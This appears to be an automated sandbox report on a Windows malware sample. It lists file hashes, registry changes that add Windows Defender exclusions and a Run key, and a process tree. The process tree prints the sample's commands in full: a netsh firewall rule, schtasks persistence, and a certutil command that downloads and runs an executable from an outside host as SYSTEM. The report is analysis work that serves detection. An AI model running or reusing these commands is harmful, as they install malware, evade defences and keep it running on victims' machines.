Analysis
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max time kernel
103s -
max time network
118s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
09-11-2020 19:45
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Mal.Generic-S.930.4597.exe
Resource
win7v20201028
General
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Target
SecuriteInfo.com.Mal.Generic-S.930.4597.exe
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Size
3.9MB
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MD5
460e041ccff9d5cf560b87a71ca3aabd
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SHA1
07065b8143d074ec62453d560a80644d70301ac6
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SHA256
b7db5b70b15ebac71e0aa8d7cb4e5f663171721b03157644cc2880a38337048a
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SHA512
d9eda0b44c603b565f6a34c7394a869ae3097f7ce281ca0f76a59f8ebfaed41768b200300e49edc663737cece5f84769ffecb185fac13f5d34fd3267546f3cdb
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 520 csrss.exe 1412 patch.exe -
Modifies Windows Firewall 1 TTPs
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Loads dropped DLL 8 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.930.4597.exepatch.exepid process 852 SecuriteInfo.com.Mal.Generic-S.930.4597.exe 852 SecuriteInfo.com.Mal.Generic-S.930.4597.exe 844 1412 patch.exe 1412 patch.exe 1412 patch.exe 1412 patch.exe 1412 patch.exe -
Processes:
SecuriteInfo.com.Mal.Generic-S.930.4597.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cc32a828c4ee.exe = "0" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\SecuriteInfo.com.Mal.Generic-S.930.4597.exe = "0" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\cc32a828c4ee\cc32a828c4ee = "0" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\RedBush = "0" SecuriteInfo.com.Mal.Generic-S.930.4597.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.930.4597.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\RedBush = "\"C:\\Windows\\rss\\csrss.exe\"" SecuriteInfo.com.Mal.Generic-S.930.4597.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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JavaScript code in executable 3 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js -
Modifies service 2 TTPs 5 IoCs
Processes:
netsh.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups netsh.exe -
Drops file in Windows directory 2 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.930.4597.exedescription ioc process File opened for modification C:\Windows\rss SecuriteInfo.com.Mal.Generic-S.930.4597.exe File created C:\Windows\rss\csrss.exe SecuriteInfo.com.Mal.Generic-S.930.4597.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2016 schtasks.exe 1516 schtasks.exe -
Modifies data under HKEY_USERS 196 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.930.4597.exenetsh.execsrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" SecuriteInfo.com.Mal.Generic-S.930.4597.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.930.4597.exeSecuriteInfo.com.Mal.Generic-S.930.4597.exepid process 1808 SecuriteInfo.com.Mal.Generic-S.930.4597.exe 852 SecuriteInfo.com.Mal.Generic-S.930.4597.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.930.4597.execsrss.exedescription pid process Token: SeDebugPrivilege 1808 SecuriteInfo.com.Mal.Generic-S.930.4597.exe Token: SeImpersonatePrivilege 1808 SecuriteInfo.com.Mal.Generic-S.930.4597.exe Token: SeSystemEnvironmentPrivilege 520 csrss.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.930.4597.execmd.exedescription pid process target process PID 852 wrote to memory of 808 852 SecuriteInfo.com.Mal.Generic-S.930.4597.exe cmd.exe PID 852 wrote to memory of 808 852 SecuriteInfo.com.Mal.Generic-S.930.4597.exe cmd.exe PID 852 wrote to memory of 808 852 SecuriteInfo.com.Mal.Generic-S.930.4597.exe cmd.exe PID 852 wrote to memory of 808 852 SecuriteInfo.com.Mal.Generic-S.930.4597.exe cmd.exe PID 808 wrote to memory of 1612 808 cmd.exe netsh.exe PID 808 wrote to memory of 1612 808 cmd.exe netsh.exe PID 808 wrote to memory of 1612 808 cmd.exe netsh.exe PID 852 wrote to memory of 520 852 SecuriteInfo.com.Mal.Generic-S.930.4597.exe csrss.exe PID 852 wrote to memory of 520 852 SecuriteInfo.com.Mal.Generic-S.930.4597.exe csrss.exe PID 852 wrote to memory of 520 852 SecuriteInfo.com.Mal.Generic-S.930.4597.exe csrss.exe PID 852 wrote to memory of 520 852 SecuriteInfo.com.Mal.Generic-S.930.4597.exe csrss.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.930.4597.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.930.4597.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.930.4597.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.930.4597.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies service
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeMD5
460e041ccff9d5cf560b87a71ca3aabd
SHA107065b8143d074ec62453d560a80644d70301ac6
SHA256b7db5b70b15ebac71e0aa8d7cb4e5f663171721b03157644cc2880a38337048a
SHA512d9eda0b44c603b565f6a34c7394a869ae3097f7ce281ca0f76a59f8ebfaed41768b200300e49edc663737cece5f84769ffecb185fac13f5d34fd3267546f3cdb
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllMD5
f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\symsrv.dllMD5
5c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeMD5
460e041ccff9d5cf560b87a71ca3aabd
SHA107065b8143d074ec62453d560a80644d70301ac6
SHA256b7db5b70b15ebac71e0aa8d7cb4e5f663171721b03157644cc2880a38337048a
SHA512d9eda0b44c603b565f6a34c7394a869ae3097f7ce281ca0f76a59f8ebfaed41768b200300e49edc663737cece5f84769ffecb185fac13f5d34fd3267546f3cdb
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\Windows\rss\csrss.exeMD5
460e041ccff9d5cf560b87a71ca3aabd
SHA107065b8143d074ec62453d560a80644d70301ac6
SHA256b7db5b70b15ebac71e0aa8d7cb4e5f663171721b03157644cc2880a38337048a
SHA512d9eda0b44c603b565f6a34c7394a869ae3097f7ce281ca0f76a59f8ebfaed41768b200300e49edc663737cece5f84769ffecb185fac13f5d34fd3267546f3cdb
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memory/520-10-0x0000000000000000-mapping.dmp
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memory/520-12-0x0000000000E40000-0x00000000011E7000-memory.dmpFilesize
3.7MB
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memory/520-13-0x00000000011F0000-0x0000000001201000-memory.dmpFilesize
68KB
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memory/808-6-0x0000000000000000-mapping.dmp
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memory/808-27-0x000007FEF5B50000-0x000007FEF5DCA000-memory.dmpFilesize
2.5MB
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memory/852-5-0x0000000000400000-0x0000000000B10000-memory.dmpFilesize
7.1MB
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memory/852-4-0x0000000001650000-0x0000000001661000-memory.dmpFilesize
68KB
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memory/852-3-0x00000000012A0000-0x0000000001647000-memory.dmpFilesize
3.7MB
